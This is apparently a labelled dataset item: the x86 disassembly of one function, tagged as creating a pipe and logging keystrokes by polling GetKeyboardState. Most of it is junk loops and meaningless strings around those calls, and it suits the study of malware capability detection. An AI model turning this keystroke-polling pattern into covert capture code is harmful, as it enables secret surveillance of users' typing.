Function at 0x100394ed
Capabilities:
Create pipe
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005d50e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x1d8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10039547
push 0x3128
push 1
push 0x4e35
push 0x190d
push 0x5617
push 0xbfd
push 0x74dd
call fcn.1003a079
add esp, 0x1c
jmp 0x1003a068
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x128], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x120], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x108]
movzx eax, byte [eax]
test eax, eax
je 0x1003a040
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x114], eax
lea ecx, [ebp - 0x194]
call fcn.100303dd
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x9c]
push dword [eax]
lea ecx, [ebp - 0x194]
call fcn.1002001a
mov dword [ebp - 0xa0], 0x3ec2
mov dword [ebp - 0x124], str.eom_keg_wiws_ltzcxlnub_fzzdx_nugt_xhi_vzqr_ugmaek_fjtfn_ivnyxy_irtwscja_qkgd
cmp dword [ebp - 0xa0], 0x3fb9
jle 0x100396b2
and dword [ebp - 0x48], 0
jmp 0x10039608
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x6310
jge 0x1003969d
and dword [ebp - 0x50], 0
jmp 0x10039622
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x4618
jge 0x10039698
and dword [ebp - 0x68], 0
jmp 0x10039638
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x6768
jge 0x10039696
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x68]
add eax, dword [ebp - 0x48]
cdq
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], edx
push dword [ebp - 0x130]
push dword [ebp - 0x134]
lea ecx, [ebp - 0x1b8]
call fcn.10001a65
pop ecx
pop ecx
mov dword [ebp - 0x100], eax
mov ecx, dword [ebp - 0x100]
call fcn.10004409
push eax
call fcn.100442bc
pop ecx
lea ecx, [ebp - 0x1b8]
call fcn.100043ff
jmp 0x10039631
jmp 0x1003961b
jmp 0x10039601
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x178], 0xa0e6
mov dword [ebp - 0x174], 0xa0e6
mov dword [ebp - 0x170], 0xa0e6
mov dword [ebp - 0x16c], 0xa0e6
mov dword [ebp - 0x80], 0xffffffe4
jmp 0x100396f1
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xfffffff2
jge 0x10039758
mov dword [ebp - 0x3c], 0
jmp 0x10039707
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x1003971a
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x70], 0x6942a1e9
jmp 0x10039700
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x70], 3
jmp 0x1003973f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x70]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x70], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x70], 0
jl 0x10039756
push 0
call fcn.10034094
pop ecx
jmp 0x1003972a
jmp 0x100396ea
mov byte [ebp - 0x2e], 0
movzx eax, byte [ebp - 0x2e]
test eax, eax
je 0x10039772
push 0
push 0xe0e
call fcn.1003635f
pop ecx
pop ecx
mov byte [ebp - 4], 1
cmp dword [ebp - 0xa0], 0x3af9
jge 0x1003978e
push dword [ebp - 0x124]
call fcn.100442bc
pop ecx
jmp 0x100397aa
and dword [ebp - 4], 0
jmp 0x100397b4
and dword [ebp - 0x38], 0
jmp 0x100397c1
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [eax]
jae 0x10039b79
mov dword [ebp - 0x34], 0x48bbca63
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x58], 0
jmp 0x100397f7
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x1003980d
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x88], 0x1f3813bf
jmp 0x100397f0
mov dword [ebp - 0x34], 0xfffffffe
jmp 0x1003981d
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jge 0x10039b28
mov dword [ebp - 0x14], 0x32f3
mov dword [ebp - 0x84], 0xcc7c44d9
mov dword [ebp - 0x110], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x14], 0
jne 0x10039881
cmp dword [ebp - 0x1c], 0
jne 0x10039881
and dword [ebp - 0xec], 0
jmp 0x1003988b
mov dword [ebp - 0xec], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x19c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x1c]
add ecx, dword [ebp + eax - 0x88]
je 0x100398c0
cmp dword [ebp - 0x14], 0
je 0x100398c0
mov dword [ebp - 0x98], 1
jmp 0x100398c7
and dword [ebp - 0x98], 0
cmp dword [ebp - 0x98], 0x40c3f30b
jne 0x100398df
mov dword [ebp - 0xdc], 1
jmp 0x100398e6
and dword [ebp - 0xdc], 0
cmp dword [ebp - 0xdc], 0xffffffff
jne 0x100398fb
mov dword [ebp - 0xa4], 1
jmp 0x10039902
and dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x14]
jle 0x10039925
mov dword [ebp - 0xc4], 1
jmp 0x1003992c
and dword [ebp - 0xc4], 0
mov eax, dword [ebp - 0xc4]
add eax, 0x71db
je 0x1003994e
mov eax, 0xbebf3b8c
test eax, eax
je 0x1003994e
mov dword [ebp - 0xac], 1
jmp 0x10039955
and dword [ebp - 0xac], 0
cmp dword [ebp - 0xac], 0x9ae77ab3
jae 0x1003996d
mov dword [ebp - 0x138], 1
jmp 0x10039974
and dword [ebp - 0x138], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x20], 0
jmp 0x1003999d
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x10039b23
mov dword [ebp - 0xd4], 0x1e60
mov dword [ebp - 0xf0], str.fdk_qbq_yuwofs_bkgcl_awiivlwuh_jbpnm_bwt_stqu_ftzmu_rcqj_sntgm_mmokikw_rgabmnd_odapjkho
cmp dword [ebp - 0xd4], 0x206e
jle 0x10039a75
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
and dword [ebp - 0x78], 0
jmp 0x100399e0
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x57cb
jge 0x10039a75
and dword [ebp - 0x7c], 0
jmp 0x100399fa
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x5202
jge 0x10039a70
and dword [ebp - 0x60], 0
jmp 0x10039a10
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x2ec7
jge 0x10039a6e
mov eax, dword [ebp - 0x7c]
imul eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x78]
cdq
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], edx
push dword [ebp - 0x13c]
push dword [ebp - 0x140]
lea ecx, [ebp - 0x1d0]
call fcn.10001a65
pop ecx
pop ecx
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x12c]
call fcn.10004409
push eax
call fcn.100442bc
pop ecx
lea ecx, [ebp - 0x1d0]
call fcn.100043ff
jmp 0x10039a09
jmp 0x100399f3
jmp 0x100399d9
mov dword [ebp - 0x1c], 0
jmp 0x10039a85
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jg 0x10039ab6
mov byte [ebp - 0x2d], 0
movzx eax, byte [ebp - 0x2d]
test eax, eax
je 0x10039aa5
push 0
push 0x57b4
call fcn.1003653d
pop ecx
pop ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x88], 0
je 0x10039ab4
jmp 0x10039ab6
jmp 0x10039a7e
mov byte [ebp - 4], 3
cmp dword [ebp - 0xd4], 0x1a80
jge 0x10039ad2
push dword [ebp - 0xf0]
call fcn.100442bc
pop ecx
jmp 0x10039aee
and dword [ebp - 4], 0
jmp 0x10039af8
mov dword [ebp - 0x14], 0
jmp 0x10039b08
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x10039b1e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x88], 0xdb62b2fa
jmp 0x10039b01
jmp 0x10039996
jmp 0x10039816
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
add eax, dword [ebp - 0x38]
xor edx, edx
div dword [0x100752d0]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax + 4]
movzx eax, byte [eax + edx]
push eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
add eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
movzx eax, byte [ecx + eax]
push eax
call fcn.1003080b
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x194]
call fcn.1003040c
jmp 0x100397ba
mov dword [ebp - 0xbc], 0x359f
mov dword [ebp - 0xf4], str.qmvewln_dwgjxtns_uaxvggxn_syg_bmoh_rbptso_vubw
cmp dword [ebp - 0xbc], 0x3662
jle 0x10039bf3
and dword [ebp - 0x40], 0
jmp 0x10039ba6
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x7b81
jge 0x10039bf3
and dword [ebp - 0x44], 0
jmp 0x10039bbc
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x485a
jge 0x10039bf1
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x44]
cdq
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x148], edx
push dword [ebp - 0x148]
push dword [ebp - 0x14c]
mov ecx, 0x100758b8
call fcn.10004429
jmp 0x10039bb5
jmp 0x10039b9f
mov dword [ebp - 0x24], 0xad9b
mov byte [ebp - 4], 5
cmp dword [ebp - 0xbc], 0x34c5
jge 0x10039c1a
mov edx, dword [ebp - 0xf4]
mov ecx, 0x100758b8
call fcn.100067d6
jmp 0x10039c36
and dword [ebp - 4], 0
jmp 0x10039c40
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0xe0], 0xffffffff
mov dword [ebp - 0x18], 0
jmp 0x10039c61
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10039c77
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe8], 0
jmp 0x10039c5a
mov dword [ebp - 0x18], 0
jmp 0x10039c87
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10039c9d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x164], 0xfffffff8
jmp 0x10039c80
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp + eax - 0xe8]
jl 0x10039cbb
mov dword [ebp - 0x94], 1
jmp 0x10039cc2
and dword [ebp - 0x94], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x164]
cmp dword [ebp - 0x94], eax
jge 0x10039ce3
mov dword [ebp - 0x90], 1
jmp 0x10039cea
and dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x90]
jl 0x10039d01
mov dword [ebp - 0xa8], 1
jmp 0x10039d08
and dword [ebp - 0xa8], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0xa8]
je 0x10039d1f
mov dword [ebp - 0xb0], 1
jmp 0x10039d26
and dword [ebp - 0xb0], 0
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x9e9d
jle 0x10039d44
mov dword [ebp - 0xb8], 1
jmp 0x10039d4b
and dword [ebp - 0xb8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x164]
cmp dword [ebp - 0xb8], eax
jle 0x10039d6c
mov dword [ebp - 0xfc], 1
jmp 0x10039d73
and dword [ebp - 0xfc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe8]
mov dword [ebp - 0x158], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xe8]
cmp ecx, dword [ebp + eax - 0xe8]
jl 0x10039dae
mov dword [ebp - 0xc0], 1
jmp 0x10039db5
and dword [ebp - 0xc0], 0
cmp dword [ebp - 0xc0], 0xde0bcd8c
jae 0x10039eec
mov byte [ebp - 0x25], 0
mov dword [ebp - 0xc8], 0x3250
mov dword [ebp - 0x10c], str.ggnxlj_psed_vbjuhbuas_oberqf_afhjm_nleqx_jftuxi_emhpon_svhpjguul_gnxyd_kqihlblq_mjkbdmi_txwma_irt
cmp dword [ebp - 0xc8], 0x3512
jle 0x10039e8f
and dword [ebp - 0x4c], 0
jmp 0x10039dfa
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x3f3a
jge 0x10039e8f
and dword [ebp - 0x54], 0
jmp 0x10039e14
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x5ae2
jge 0x10039e8a
and dword [ebp - 0x5c], 0
jmp 0x10039e2a
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x54e7
jge 0x10039e88
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x54]
xor eax, dword [ebp - 0x5c]
cdq
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], edx
push dword [ebp - 0x118]
push dword [ebp - 0x11c]
lea ecx, [ebp - 0x1e8]
call fcn.10001a65
pop ecx
pop ecx
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x104]
call fcn.10004409
push eax
call fcn.100442bc
pop ecx
lea ecx, [ebp - 0x1e8]
call fcn.100043ff
jmp 0x10039e23
jmp 0x10039e0d
jmp 0x10039df3
movzx eax, byte [ebp - 0x25]
test eax, eax
je 0x10039ea5
push 0x6408
push 0
call fcn.1003a8d7
pop ecx
pop ecx
mov byte [ebp - 4], 7
cmp dword [ebp - 0xc8], 0x3127
jge 0x10039ec1
push dword [ebp - 0x10c]
call fcn.100442bc
pop ecx
jmp 0x10039edd
and dword [ebp - 4], 0
jmp 0x10039ee7
jmp 0x1003a00c
mov dword [ebp - 0x8c], 0xffffffff
mov dword [ebp - 0xd8], 0xfffffff7
mov dword [ebp - 0x2c], 0xfffffff9
jmp 0x10039f10
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x18
jg 0x10039fbf
mov dword [ebp - 0x24], 0
jmp 0x10039f2a
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xb
jge 0x10039fba
mov dword [ebp - 0x64], 0x94abc248
mov dword [ebp - 0x64], 7
jmp 0x10039f4b
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0xfffffff2
jne 0x10039fa5
mov dword [ebp - 0x6c], 0xfffffffa
mov dword [ebp - 0x6c], 0
jmp 0x10039f68
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x10039fa3
mov dword [ebp - 0x74], 4
mov dword [ebp - 0x74], 0
jmp 0x10039f85
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xfffffff3
je 0x10039fa1
push 0x1d88
push 0
push 0x71c2
call fcn.10036379
add esp, 0xc
jmp 0x10039f7e
jmp 0x10039f61
jmp 0x10039f44
push 0
lea eax, [ebp - 0x8c]
push eax
call fcn.1003a8fb
pop ecx
pop ecx
jmp 0x10039f23
jmp 0x10039f09
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x8c], 0
jge 0x10039fe0
mov dword [ebp - 0xd0], 1
jmp 0x10039fe7
and dword [ebp - 0xd0], 0
mov eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0xd0]
cmp eax, dword [ebp - 0xe0]
jge 0x1003a003
cmp dword [ebp - 0xd8], 0
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x194]
push eax
mov ecx, dword [ebp - 0x114]
call fcn.100303ee
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x194]
call fcn.1001f126
jmp 0x1003a068
push 0
push 0xae1
push 0x10a9
push 0x1c57
push 0x1dca
push 0x24e1
push 0xc3e
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret